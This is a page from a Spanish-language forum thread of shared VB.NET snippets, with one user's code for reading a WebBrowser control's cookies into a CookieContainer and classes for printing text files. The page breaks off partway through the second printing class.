elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Arreglado, de nuevo, el registro del warzone (wargame) de EHN


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  .NET (C#, VB.NET, ASP) (Moderador: kub0x)
| | | |-+  Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
0 Usuarios y 5 Visitantes están viendo este tema.
Páginas: 1 ... 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 [53] 54 55 56 57 58 59 60 Ir Abajo Respuesta Imprimir
Autor Tema: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)  (Leído 529,054 veces)
Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.874



Ver Perfil
Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
« Respuesta #520 en: 26 Febrero 2018, 17:15 pm »

¿Cómo obtener las cookies del sitio web activo en una instancia del control WebBrowser?

Esta idea se me ocurrió por la necesidad de loguearme de forma interactiva (me refiero, manualmente mediante un WebBrowser) a un sitio web que tiene captcha y una pregunta aleatoria de seguridad... por lo cual iba a ser costoso o inviable automatizar la obtención de la cookie de la sesión mediante solicitudes POST en background.

Este código no tiene nada de especial, simplemente es una alternativa de uso para en lugar de utilizar la propiedad WebBrowser.Document.Cookie, la cual devuelve un String, con este código podemos obtener directamente una instancia de la clase CookieContainer o CookieCollection.

Este es el código:

Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Contains custom extension methods to use with <see cref="WebBrowser"/> control.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. <HideModuleName>
  7. Public Module WebBrowserExtensions
  8.  
  9. #Region " Public Extension Methods "
  10.  
  11.    ''' ----------------------------------------------------------------------------------------------------
  12.    ''' <summary>
  13.    ''' Gets a <see cref="CookieContainer"/> containing the stored cookies for the active website
  14.    ''' in the source <see cref="WebBrowser"/>.
  15.    ''' (that is, the active opened document in the <see cref="WebBrowser.Document"/> property).
  16.    ''' </summary>
  17.    ''' ----------------------------------------------------------------------------------------------------
  18.    ''' <example> This is a code example.
  19.    ''' <code>
  20.    ''' Public Class Form1
  21.    '''
  22.    '''     Private uri As New Uri("https://foro.elhacker.net/")
  23.    '''
  24.    '''     Private Sub Form1_Shown(sender As Object, e As System.EventArgs) Handles MyBase.Shown
  25.    '''         Me.WebBrowser1.ScriptErrorsSuppressed = True
  26.    '''         Me.WebBrowser1.Navigate(uri)
  27.    '''     End Sub
  28.    '''
  29.    '''     Private Sub WebBrowser1_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
  30.    '''
  31.    '''         Dim wb As WebBrowser = DirectCast(sender, WebBrowser)
  32.    '''         If Not (wb.ReadyState = WebBrowserReadyState.Complete) OrElse Not (e.Url = Me.uri) Then
  33.    '''             Exit Sub
  34.    '''         End If
  35.    '''
  36.    '''         Dim cookies As CookieContainer = GetCookieContainer(wb)
  37.    '''         For Each cookie As Cookie In cookies.GetCookies(Me.uri)
  38.    '''             Console.WriteLine(cookie.ToString())
  39.    '''         Next cookie
  40.    '''
  41.    '''     End Sub
  42.    '''
  43.    ''' End Class
  44.    ''' </code>
  45.    ''' </example>
  46.    ''' ----------------------------------------------------------------------------------------------------
  47.    ''' <param name="wb">
  48.    ''' The source <see cref="WebBrowser"/>.
  49.    ''' </param>
  50.    ''' ----------------------------------------------------------------------------------------------------
  51.    ''' <returns>
  52.    ''' The resulting <see cref="CookieContainer"/>.
  53.    ''' </returns>
  54.    ''' ----------------------------------------------------------------------------------------------------
  55.    <DebuggerStepThrough>
  56.    <Extension>
  57.    <EditorBrowsable(EditorBrowsableState.Always)>
  58.    Public Function GetCookieContainer(ByVal wb As WebBrowser) As CookieContainer
  59.        Dim uri As Uri = wb.Url
  60.        Dim cookieContainer As New CookieContainer()
  61.        Dim cookies As String() = wb.Document.Cookie.Split({";"c}, StringSplitOptions.None)
  62.  
  63.        For Each cookie As String In cookies
  64.            Dim name As String = cookie.Substring(0, cookie.IndexOf("="c)).TrimStart(" "c)
  65.            Dim value As String = cookie.Substring(cookie.IndexOf("="c) + 1)
  66.            cookieContainer.Add(uri, New Cookie(name, value, "/", uri.Host))
  67.        Next cookie
  68.  
  69.        Return cookieContainer
  70.    End Function
  71.  
  72.    ''' ----------------------------------------------------------------------------------------------------
  73.    ''' <summary>
  74.    ''' Gets a <see cref="CookieCollection"/> containing the stored cookies for the active website
  75.    ''' in the source <see cref="WebBrowser"/>.
  76.    ''' (that is, the active opened document in the <see cref="WebBrowser.Document"/> property).
  77.    ''' </summary>
  78.    ''' ----------------------------------------------------------------------------------------------------
  79.    ''' <example> This is a code example.
  80.    ''' <code>
  81.    ''' Public Class Form1
  82.    '''
  83.    '''     Private uri As New Uri("https://foro.elhacker.net/")
  84.    '''
  85.    '''     Private Sub Form1_Shown(sender As Object, e As System.EventArgs) Handles MyBase.Shown
  86.    '''         Me.WebBrowser1.ScriptErrorsSuppressed = True
  87.    '''         Me.WebBrowser1.Navigate(uri)
  88.    '''     End Sub
  89.    '''
  90.    '''     Private Sub WebBrowser1_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
  91.    '''
  92.    '''         Dim wb As WebBrowser = DirectCast(sender, WebBrowser)
  93.    '''
  94.    '''         If Not (wb.ReadyState = WebBrowserReadyState.Complete) OrElse Not (e.Url = Me.uri) Then
  95.    '''             Exit Sub
  96.    '''         End If
  97.    '''
  98.    '''         Dim cookies As CookieCollection = GetCookieCollection(wb)
  99.    '''         For Each cookie As Cookie In cookies
  100.    '''             Console.WriteLine(cookie.ToString())
  101.    '''         Next cookie
  102.    '''
  103.    '''     End Sub
  104.    '''
  105.    ''' End Class
  106.    ''' </code>
  107.    ''' </example>
  108.    ''' ----------------------------------------------------------------------------------------------------
  109.    ''' <param name="wb">
  110.    ''' The source <see cref="WebBrowser"/>.
  111.    ''' </param>
  112.    ''' ----------------------------------------------------------------------------------------------------
  113.    ''' <returns>
  114.    ''' The resulting <see cref="CookieCollection"/>.
  115.    ''' </returns>
  116.    ''' ----------------------------------------------------------------------------------------------------
  117.    <DebuggerStepThrough>
  118.    <Extension>
  119.    <EditorBrowsable(EditorBrowsableState.Always)>
  120.    Public Function GetCookieCollection(ByVal wb As WebBrowser) As CookieCollection
  121.  
  122.        Dim uri As Uri = wb.Url
  123.        Return Cookies.GetCookieContainer(wb).GetCookies(uri)
  124.  
  125.    End Function
  126.  
  127. #End Region
  128.  
  129. End Module

Ejemplo de uso:

Código
  1. Imports WebBrowserExtensions
  2.  
  3. Public Class Form1
  4.  
  5.    Private uri As New Uri("https://www.domain.com/")
  6.  
  7.    Private Sub Form1_Shown(sender As Object, e As System.EventArgs) Handles MyBase.Shown
  8.        Me.WebBrowser1.ScriptErrorsSuppressed = True
  9.        Me.WebBrowser1.Navigate(uri)
  10.    End Sub
  11.  
  12.    Private Sub WebBrowser1_DocumentCompleted(sender As Object, e As WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
  13.  
  14.        Dim wb As WebBrowser = DirectCast(sender, WebBrowser)
  15.        If Not (wb.ReadyState = WebBrowserReadyState.Complete) OrElse Not (e.Url = Me.uri) Then
  16.            Exit Sub
  17.        End If
  18.  
  19.        Dim cookies As CookieContainer = wb.GetCookieContainer()
  20.        For Each cookie As Cookie In cookies.GetCookies(Me.uri)
  21.            Console.WriteLine(cookie.ToString())
  22.        Next cookie
  23.  
  24.    End Sub
  25.  
  26. End Class


« Última modificación: 26 Febrero 2018, 17:22 pm por Eleкtro » En línea



Eleкtro
Ex-Staff
*
Desconectado Desconectado

Mensajes: 9.874



Ver Perfil
Re: Librería de Snippets para VB.Net !! (Compartan aquí sus snippets)
« Respuesta #521 en: 28 Marzo 2018, 16:31 pm »

¿Cómo imprimir documentos de texto de forma sencilla?.

He hecho dos versiones, una básica, y la otra avanzada.

PrintDocumentBasic
Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Prints a text document.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <seealso cref="IDisposable" />
  7. ''' ----------------------------------------------------------------------------------------------------
  8. Public Class PrintDocumentBasic : Implements IDisposable
  9.  
  10. #Region " Private Fields "
  11.  
  12.    ''' ----------------------------------------------------------------------------------------------------
  13.    ''' <summary>
  14.    ''' A <see cref="StreamReader"/> instance that encapsulates the document data to be read and printed.
  15.    ''' </summary>
  16.    ''' ----------------------------------------------------------------------------------------------------
  17.    Protected documentStream As StreamReader
  18.  
  19.    ''' ----------------------------------------------------------------------------------------------------
  20.    ''' <summary>
  21.    ''' The <see cref="System.Drawing.Printing.PrintDocument"/> component to print the document.
  22.    ''' </summary>
  23.    ''' ----------------------------------------------------------------------------------------------------
  24.    Protected WithEvents PrintDocument As PrintDocument
  25.  
  26.    ''' ----------------------------------------------------------------------------------------------------
  27.    ''' <summary>
  28.    ''' The <see cref="System.Drawing.Printing.PrinterSettings"/> instance that specifies
  29.    ''' information about how a document is printed, including the printer that prints it.
  30.    ''' </summary>
  31.    ''' ----------------------------------------------------------------------------------------------------
  32.    Protected PrinterSettings As PrinterSettings
  33.  
  34. #End Region
  35.  
  36. #Region " Properties "
  37.  
  38.    ''' ----------------------------------------------------------------------------------------------------
  39.    ''' <summary>
  40.    ''' Gets the document file path.
  41.    ''' </summary>
  42.    ''' ----------------------------------------------------------------------------------------------------
  43.    ''' <value>
  44.    ''' The document file path.
  45.    ''' </value>
  46.    ''' ----------------------------------------------------------------------------------------------------
  47.    Public ReadOnly Property Filepath As String
  48.  
  49.    ''' ----------------------------------------------------------------------------------------------------
  50.    ''' <summary>
  51.    ''' Gets or sets the text encoding.
  52.    ''' <para></para>
  53.    ''' If no encoding is specified, the default system encoding will be used.
  54.    ''' </summary>
  55.    ''' ----------------------------------------------------------------------------------------------------
  56.    ''' <value>
  57.    ''' The text encoding.
  58.    ''' </value>
  59.    ''' ----------------------------------------------------------------------------------------------------
  60.    Public Property Encoding As Encoding
  61.  
  62.    ''' ----------------------------------------------------------------------------------------------------
  63.    ''' <summary>
  64.    ''' Gets or sets the name of the printer device.
  65.    ''' <para></para>
  66.    ''' If no printer name is specified, the default printer device will be used.
  67.    ''' </summary>
  68.    ''' ----------------------------------------------------------------------------------------------------
  69.    ''' <value>
  70.    ''' The name of the printer device.
  71.    ''' </value>
  72.    ''' ----------------------------------------------------------------------------------------------------
  73.    Public Property PrinterName As String
  74.        Get
  75.            Return Me.printerNameB
  76.        End Get
  77.        Set(ByVal value As String)
  78.            If Not String.IsNullOrEmpty(value) Then
  79.                Me.PrinterSettings.PrinterName = Me.PrinterName
  80.            Else
  81.                ' Reset the 'PrinterSettings.PrinterName' property to avoid 'PrinterSettings.IsValid' return False.
  82.                Me.PrinterSettings = New PrinterSettings()
  83.            End If
  84.        End Set
  85.    End Property
  86.    ''' ----------------------------------------------------------------------------------------------------
  87.    ''' <summary>
  88.    ''' ( Backing Field )
  89.    ''' <para></para>
  90.    ''' The name of the printer device.
  91.    ''' </summary>
  92.    ''' ----------------------------------------------------------------------------------------------------
  93.    Private printerNameB As String
  94.  
  95.    ''' ----------------------------------------------------------------------------------------------------
  96.    ''' <summary>
  97.    ''' Gets or sets the text font.
  98.    ''' <para></para>
  99.    ''' Default font is: [Font: Name=Arial, Size=10, Units=3, GdiCharSet=1, GdiVerticalFont=False]
  100.    ''' </summary>
  101.    ''' ----------------------------------------------------------------------------------------------------
  102.    ''' <value>
  103.    ''' The text font.
  104.    ''' </value>
  105.    ''' ----------------------------------------------------------------------------------------------------
  106.    Public Property Font As Font
  107.  
  108.    ''' ----------------------------------------------------------------------------------------------------
  109.    ''' <summary>
  110.    ''' Gets or sets the text color.
  111.    ''' <para></para>
  112.    ''' Default color is: <see cref="System.Drawing.Color.Black"/>
  113.    ''' </summary>
  114.    ''' ----------------------------------------------------------------------------------------------------
  115.    ''' <value>
  116.    ''' The text color.
  117.    ''' </value>
  118.    ''' ----------------------------------------------------------------------------------------------------
  119.    Public Property Color As Color
  120.  
  121. #End Region
  122.  
  123. #Region " Constructors "
  124.  
  125.    ''' ----------------------------------------------------------------------------------------------------
  126.    ''' <summary>
  127.    ''' Prevents a default instance of the <see cref="PrintDocumentBasic"/> class from being created.
  128.    ''' </summary>
  129.    ''' ----------------------------------------------------------------------------------------------------
  130.    <DebuggerNonUserCode>
  131.    Private Sub New()
  132.    End Sub
  133.  
  134.    ''' ----------------------------------------------------------------------------------------------------
  135.    ''' <summary>
  136.    ''' Initializes a new instance of the <see cref="PrintDocumentBasic"/> class.
  137.    ''' </summary>
  138.    ''' ----------------------------------------------------------------------------------------------------
  139.    ''' <param name="filepath">
  140.    ''' The document file path.
  141.    ''' </param>
  142.    ''' ----------------------------------------------------------------------------------------------------
  143.    ''' <exception cref="FileNotFoundException">
  144.    ''' </exception>
  145.    ''' ----------------------------------------------------------------------------------------------------
  146.    <DebuggerStepThrough>
  147.    Public Sub New(ByVal filepath As String)
  148.        Me.New(filepath, encoding:=Nothing)
  149.    End Sub
  150.  
  151.    ''' ----------------------------------------------------------------------------------------------------
  152.    ''' <summary>
  153.    ''' Initializes a new instance of the <see cref="PrintDocumentBasic"/> class.
  154.    ''' </summary>
  155.    ''' ----------------------------------------------------------------------------------------------------
  156.    ''' <param name="filepath">
  157.    ''' The document file path.
  158.    ''' </param>
  159.    '''
  160.    ''' <param name="encoding">
  161.    ''' The text encoding.
  162.    ''' </param>
  163.    ''' ----------------------------------------------------------------------------------------------------
  164.    ''' <exception cref="FileNotFoundException">
  165.    ''' </exception>
  166.    ''' ----------------------------------------------------------------------------------------------------
  167.    <DebuggerStepThrough>
  168.    Public Sub New(ByVal filepath As String, ByVal encoding As Encoding)
  169.        Me.PrintDocument = New PrintDocument() With {
  170.            .DocumentName = filepath
  171.        }
  172.  
  173.        Me.Filepath = filepath
  174.        Me.Color = Color.Black
  175.  
  176.        Me.PrinterName = ""
  177.  
  178.        If (encoding Is Nothing) Then
  179.            Me.documentStream = New StreamReader(filepath, detectEncodingFromByteOrderMarks:=True)
  180.            Me.Encoding = Me.documentStream.CurrentEncoding
  181.        Else
  182.            Me.Encoding = encoding
  183.            Me.documentStream = New StreamReader(filepath, encoding, detectEncodingFromByteOrderMarks:=False)
  184.        End If
  185.    End Sub
  186.  
  187. #End Region
  188.  
  189. #Region " Public Methods "
  190.  
  191.    ''' ----------------------------------------------------------------------------------------------------
  192.    ''' <summary>
  193.    ''' Prints the current document.
  194.    ''' </summary>
  195.    ''' ----------------------------------------------------------------------------------------------------
  196.    ''' <exception cref="IOException">
  197.    ''' No printer device is installed.
  198.    ''' </exception>
  199.    '''
  200.    ''' <exception cref="ArgumentException">
  201.    ''' Printer name is not valid.
  202.    ''' </exception>
  203.    ''' ----------------------------------------------------------------------------------------------------
  204.    <DebuggerStepThrough>
  205.    Public Overridable Sub Print()
  206.  
  207.        If (PrinterSettings.InstalledPrinters.Count = 0) Then
  208.            Throw New IOException("No printer device is installed.")
  209.        End If
  210.  
  211.        If Not String.IsNullOrEmpty(Me.PrinterSettings.PrinterName) AndAlso Not (Me.PrinterSettings.IsValid) Then
  212.            Throw New Exception("Printer name is not valid.")
  213.        End If
  214.  
  215.        Me.PrintDocument.PrinterSettings = Me.PrinterSettings
  216.        Me.PrintDocument.Print()
  217.  
  218.    End Sub
  219.  
  220.    ''' ----------------------------------------------------------------------------------------------------
  221.    ''' <summary>
  222.    ''' Cancels the print job for the current document.
  223.    ''' </summary>
  224.    ''' ----------------------------------------------------------------------------------------------------
  225.    ''' <exception cref="Exception">
  226.    ''' Print job not found.
  227.    ''' </exception>
  228.    ''' ----------------------------------------------------------------------------------------------------
  229.    <DebuggerStepThrough>
  230.    Public Overridable Sub CancelPrint()
  231.  
  232.        Dim scope As New ManagementScope("root\CIMV2")
  233.        Dim query As New SelectQuery(String.Format("SELECT * FROM Win32_PrintJob WHERE Document = '{0}'", Me.PrintDocument.DocumentName))
  234.        Dim options As New EnumerationOptions With {
  235.                .ReturnImmediately = True,
  236.                .Rewindable = False,
  237.                .DirectRead = True,
  238.                .EnumerateDeep = False
  239.            }
  240.  
  241.        Using mos As New ManagementObjectSearcher(scope, query, options),
  242.              moc As ManagementObjectCollection = mos.Get()
  243.  
  244.            If (moc.Count = 0) Then
  245.                Throw New Exception("Print job not found.")
  246.            End If
  247.  
  248.            For Each mo As ManagementObject In moc
  249.                mo.Delete()
  250.            Next mo
  251.  
  252.        End Using
  253.  
  254.    End Sub
  255.  
  256. #End Region
  257.  
  258. #Region " Event-Handlers "
  259.  
  260.    ''' ----------------------------------------------------------------------------------------------------
  261.    ''' <summary>
  262.    ''' Handles the <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event
  263.    ''' of the <see cref="PrintDocumentBasic.PrintDocument"/> component.
  264.    ''' </summary>
  265.    ''' ----------------------------------------------------------------------------------------------------
  266.    ''' <param name="sender">
  267.    ''' The source of the event.
  268.    ''' </param>
  269.    '''
  270.    ''' <param name="e">
  271.    ''' The <see cref="PrintEventArgs"/> instance containing the event data.
  272.    ''' </param>
  273.    ''' ----------------------------------------------------------------------------------------------------
  274.    <DebuggerStepperBoundary>
  275.    Protected Overridable Sub PrintDocument_BeginPrint(ByVal sender As Object, ByVal e As PrintEventArgs) Handles PrintDocument.BeginPrint
  276.        If (Me.Font Is Nothing) Then
  277.            Me.Font = New Font("Arial", 10.0F, FontStyle.Regular)
  278.        End If
  279.    End Sub
  280.  
  281.    ''' ----------------------------------------------------------------------------------------------------
  282.    ''' <summary>
  283.    ''' Handles the <see cref="System.Drawing.Printing.PrintDocument.QueryPageSettings"/> event
  284.    ''' of the <see cref="PrintDocumentBasic.PrintDocument"/> component.
  285.    ''' </summary>
  286.    ''' ----------------------------------------------------------------------------------------------------
  287.    ''' <param name="sender">
  288.    ''' The source of the event.
  289.    ''' </param>
  290.    '''
  291.    ''' <param name="e">
  292.    ''' The <see cref="QueryPageSettingsEventArgs"/> instance containing the event data.
  293.    ''' </param>
  294.    ''' ----------------------------------------------------------------------------------------------------
  295.    <DebuggerStepperBoundary>
  296.    Protected Overridable Sub PrintDocument_QueryPageSettings(ByVal sender As Object, ByVal e As QueryPageSettingsEventArgs) Handles PrintDocument.QueryPageSettings
  297.  
  298.    End Sub
  299.  
  300.    ''' ----------------------------------------------------------------------------------------------------
  301.    ''' <summary>
  302.    ''' Handles the <see cref="System.Drawing.Printing.PrintDocument.PrintPage"/> event
  303.    ''' of the <see cref="PrintDocumentBasic.PrintDocument"/> component.
  304.    ''' </summary>
  305.    ''' ----------------------------------------------------------------------------------------------------
  306.    ''' <param name="sender">
  307.    ''' The source of the event.
  308.    ''' </param>
  309.    '''
  310.    ''' <param name="e">
  311.    ''' The <see cref="PrintPageEventArgs"/> instance containing the event data.
  312.    ''' </param>
  313.    ''' ----------------------------------------------------------------------------------------------------
  314.    <DebuggerStepperBoundary>
  315.    Protected Overridable Sub PrintDocument_PrintPage(ByVal sender As Object, ByVal e As PrintPageEventArgs) Handles PrintDocument.PrintPage
  316.  
  317.        ' Page settings.
  318.        Dim brush As New SolidBrush(Me.Color)
  319.        Dim stringFormat As New StringFormat()
  320.        Dim leftMargin As Single = e.MarginBounds.Left
  321.        Dim topMargin As Single = e.MarginBounds.Top
  322.  
  323.        ' Calculate the number of lines per page.
  324.        Dim linesPerPage As Single = (e.MarginBounds.Height / Me.Font.GetHeight(e.Graphics))
  325.  
  326.        ' Iterate over the file, printing each line.
  327.        Dim line As String = Nothing
  328.        Dim count As Integer
  329.        While (count < linesPerPage)
  330.            line = Me.documentStream.ReadLine()
  331.            If (line Is Nothing) Then
  332.                Exit While
  333.            End If
  334.            Dim yPos As Single = (topMargin + count * Me.Font.GetHeight(e.Graphics))
  335.            e.Graphics.DrawString(line, Me.Font, brush, leftMargin, yPos, stringFormat)
  336.            count += 1
  337.        End While
  338.  
  339.        brush.Dispose()
  340.        stringFormat.Dispose()
  341.  
  342.        ' If more lines exist, print another page.
  343.        e.HasMorePages = (line IsNot Nothing)
  344.  
  345.    End Sub
  346.  
  347.    ''' ----------------------------------------------------------------------------------------------------
  348.    ''' <summary>
  349.    ''' Handles the <see cref="System.Drawing.Printing.PrintDocument.EndPrint"/> event
  350.    ''' of the <see cref="PrintDocumentBasic.PrintDocument"/> component.
  351.    ''' </summary>
  352.    ''' ----------------------------------------------------------------------------------------------------
  353.    ''' <param name="sender">
  354.    ''' The source of the event.
  355.    ''' </param>
  356.    '''
  357.    ''' <param name="e">
  358.    ''' The <see cref="PrintEventArgs"/> instance containing the event data.
  359.    ''' </param>
  360.    ''' ----------------------------------------------------------------------------------------------------
  361.    <DebuggerStepperBoundary>
  362.    Protected Overridable Sub PrintDocument_EndPrint(ByVal sender As Object, ByVal e As PrintEventArgs) Handles PrintDocument.EndPrint
  363.  
  364.    End Sub
  365.  
  366. #End Region
  367.  
  368. #Region " IDisposable Implementation "
  369.  
  370.    ''' ----------------------------------------------------------------------------------------------------
  371.    ''' <summary>
  372.    ''' Flag to detect redundant calls when disposing.
  373.    ''' </summary>
  374.    ''' ----------------------------------------------------------------------------------------------------
  375.    Private isDisposed As Boolean = False
  376.  
  377.    ''' ----------------------------------------------------------------------------------------------------
  378.    ''' <summary>
  379.    ''' Releases all the resources used by this <see cref="PrintDocumentBasic"/> instance.
  380.    ''' </summary>
  381.    ''' ----------------------------------------------------------------------------------------------------
  382.    <DebuggerStepThrough>
  383.    Public Sub Dispose() Implements IDisposable.Dispose
  384.        Me.Dispose(isDisposing:=True)
  385.        GC.SuppressFinalize(obj:=Me)
  386.    End Sub
  387.  
  388.    ''' ----------------------------------------------------------------------------------------------------
  389.    ''' <summary>
  390.    ''' Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
  391.    ''' </summary>
  392.    ''' ----------------------------------------------------------------------------------------------------
  393.    ''' <param name="isDisposing">
  394.    ''' <see langword="True"/>  to release both managed and unmanaged resources;
  395.    ''' <see langword="False"/> to release only unmanaged resources.
  396.    ''' </param>
  397.    ''' ----------------------------------------------------------------------------------------------------
  398.    <DebuggerStepThrough>
  399.    Protected Overridable Sub Dispose(ByVal isDisposing As Boolean)
  400.  
  401.        If (Not Me.isDisposed) AndAlso (isDisposing) Then
  402.            If (Me.PrintDocument IsNot Nothing) Then
  403.                Me.PrintDocument.Dispose()
  404.                Me.PrintDocument = Nothing
  405.            End If
  406.  
  407.            If (Me.documentStream IsNot Nothing) Then
  408.                Me.documentStream.Close()
  409.                Me.documentStream = Nothing
  410.            End If
  411.  
  412.            If (Me.Font IsNot Nothing) Then
  413.                Me.Font.Dispose()
  414.                Me.Font = Nothing
  415.            End If
  416.  
  417.        End If
  418.  
  419.        Me.isDisposed = True
  420.  
  421.    End Sub
  422.  
  423. #End Region
  424.  
  425. End Class

MODO DE EMPLEO:
Código
  1. Using printBasic As New PrintDocumentBasic("C:\Document.txt", Encoding.Default)
  2.    printBasic.PrinterName = ""
  3.    printBasic.Font = New Font("Arial", 10.0F, FontStyle.Regular)
  4.    printBasic.Color = Color.Black
  5.  
  6.    printBasic.Print()
  7.    ' printBasic.CancelPrint()
  8. End Using



PrintDocumentExpert
Código
  1. ''' ----------------------------------------------------------------------------------------------------
  2. ''' <summary>
  3. ''' Prints a text document.
  4. ''' </summary>
  5. ''' ----------------------------------------------------------------------------------------------------
  6. ''' <seealso cref="IDisposable" />
  7. ''' ----------------------------------------------------------------------------------------------------
  8. Public Class PrintDocumentExpert : Implements IDisposable
  9.  
  10. #Region " Private Fields "
  11.  
  12.    ''' ----------------------------------------------------------------------------------------------------
  13.    ''' <summary>
  14.    ''' The <see cref="System.Drawing.Printing.PrintDocument"/> component to print the document.
  15.    ''' </summary>
  16.    ''' ----------------------------------------------------------------------------------------------------
  17.    Protected WithEvents PrintDocument As PrintDocument
  18.  
  19. #End Region
  20.  
  21. #Region " Properties "
  22.  
  23.    ''' ----------------------------------------------------------------------------------------------------
  24.    ''' <summary>
  25.    ''' Gets the document file path.
  26.    ''' </summary>
  27.    ''' ----------------------------------------------------------------------------------------------------
  28.    ''' <value>
  29.    ''' The document file path.
  30.    ''' </value>
  31.    ''' ----------------------------------------------------------------------------------------------------
  32.    Public ReadOnly Property Filepath As String
  33.  
  34.    ''' ----------------------------------------------------------------------------------------------------
  35.    ''' <summary>
  36.    ''' Gets or sets the text encoding.
  37.    ''' <para></para>
  38.    ''' If no encoding is specified, the default system encoding will be used.
  39.    ''' </summary>
  40.    ''' ----------------------------------------------------------------------------------------------------
  41.    ''' <value>
  42.    ''' The text encoding.
  43.    ''' </value>
  44.    ''' ----------------------------------------------------------------------------------------------------
  45.    Public Property Encoding As Encoding
  46.  
  47.    ''' ----------------------------------------------------------------------------------------------------
  48.    ''' <summary>
  49.    ''' Gets or sets the <see cref="StreamReader"/> instance that encapsulates the document data to be read and printed.
  50.    ''' </summary>
  51.    ''' ----------------------------------------------------------------------------------------------------
  52.    ''' <value>
  53.    ''' The <see cref="StreamReader"/> instance that encapsulates the document data to be read and printed.
  54.    ''' </value>
  55.    ''' ----------------------------------------------------------------------------------------------------
  56.    Public ReadOnly Property DocumentStream As StreamReader
  57.  
  58.    ''' ----------------------------------------------------------------------------------------------------
  59.    ''' <summary>
  60.    ''' Gets or sets the <see cref="System.Drawing.Printing.PrinterSettings"/> instance that specifies
  61.    ''' information about how a document is printed, including the printer that prints it.
  62.    ''' </summary>
  63.    ''' ----------------------------------------------------------------------------------------------------
  64.    ''' <value>
  65.    ''' The <see cref="System.Drawing.Printing.PrinterSettings"/> instance that specifies
  66.    ''' information about how a document is printed, including the printer that prints it.
  67.    ''' </value>
  68.    ''' ----------------------------------------------------------------------------------------------------
  69.    Public Property PrinterSettings As PrinterSettings
  70.  
  71.    ''' ----------------------------------------------------------------------------------------------------
  72.    ''' <summary>
  73.    ''' Gets or sets the <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
  74.    ''' <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event.
  75.    ''' </summary>
  76.    ''' ----------------------------------------------------------------------------------------------------
  77.    ''' <value>
  78.    ''' The <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
  79.    ''' <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event.
  80.    ''' </value>
  81.    ''' ----------------------------------------------------------------------------------------------------
  82.    Public Property BeginPrintEventHandler As PrintEventHandler
  83.  
  84.    ''' ----------------------------------------------------------------------------------------------------
  85.    ''' <summary>
  86.    ''' Gets or sets the <see cref="System.Drawing.Printing.QueryPageSettingsEventHandler"/> delegate method to handle the
  87.    ''' <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event.
  88.    ''' </summary>
  89.    ''' ----------------------------------------------------------------------------------------------------
  90.    ''' <value>
  91.    ''' The <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
  92.    ''' <see cref="System.Drawing.Printing.PrintDocument.QueryPageSettings"/> event.
  93.    ''' </value>
  94.    ''' ----------------------------------------------------------------------------------------------------
  95.    Public Property QueryPageSettingsEventHandler As QueryPageSettingsEventHandler
  96.  
  97.    ''' ----------------------------------------------------------------------------------------------------
  98.    ''' <summary>
  99.    ''' Gets or sets the <see cref="System.Drawing.Printing.PrintPageEventHandler"/> delegate method to handle the
  100.    ''' <see cref="System.Drawing.Printing.PrintDocument.PrintPage"/> event.
  101.    ''' </summary>
  102.    ''' ----------------------------------------------------------------------------------------------------
  103.    ''' <value>
  104.    ''' The <see cref="System.Drawing.Printing.PrintPageEventHandler"/> delegate method to handle the
  105.    ''' <see cref="System.Drawing.Printing.PrintDocument.PrintPage"/> event.
  106.    ''' </value>
  107.    ''' ----------------------------------------------------------------------------------------------------
  108.    Public Property PrintPageEventHandler As PrintPageEventHandler
  109.  
  110.    ''' ----------------------------------------------------------------------------------------------------
  111.    ''' <summary>
  112.    ''' Gets or sets the <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
  113.    ''' <see cref="System.Drawing.Printing.PrintDocument.BeginPrint"/> event.
  114.    ''' </summary>
  115.    ''' ----------------------------------------------------------------------------------------------------
  116.    ''' <value>
  117.    ''' The <see cref="System.Drawing.Printing.PrintEventHandler"/> delegate method to handle the
  118.    ''' <see cref="System.Drawing.Printing.PrintDocument.EndPrint"/> event.
  119.    ''' </value>
  120.    ''' ----------------------------------------------------------------------------------------------------
  121.    Public Property EndPrintEventHandler As PrintEventHandler
  122.  
  123. #End Region
  124.  
  125. #Region " Constructors "
  126.  
  127.    ''' ----------------------------------------------------------------------------------------------------
  128.    ''' <summary>
  129.    ''' Prevents a default instance of the <see cref="PrintDocumentExpert"/> class from being created.
  130.    ''' </summary>
  131.    ''' ----------------------------------------------------------------------------------------------------
  132.    <DebuggerNonUserCode>
  133.    Private Sub New()
  134.    End Sub
  135.  
  136.    ''' ----------------------------------------------------------------------------------------------------
  137.    ''' <summary>
  138.    ''' Initializes a new instance of the <see cref="PrintDocumentExpert"/> class.
  139.    ''' </summary>
  140.    ''' ----------------------------------------------------------------------------------------------------
  141.    ''' <param name="filepath">
  142.    ''' The document file path.
  143.    ''' </param>
  144.    ''' ----------------------------------------------------------------------------------------------------
  145.    ''' <exception cref="FileNotFoundException">
  146.    ''' </exception>
  147.    ''' ----------------------------------------------------------------------------------------------------
  148.    <DebuggerStepThrough>
  149.    Public Sub New(ByVal filepath As String)
  150.        Me.New(filepath, encoding:=Nothing)
  151.    End Sub
  152.  
  153.    ''' ----------------------------------------------------------------------------------------------------
  154.    ''' <summary>
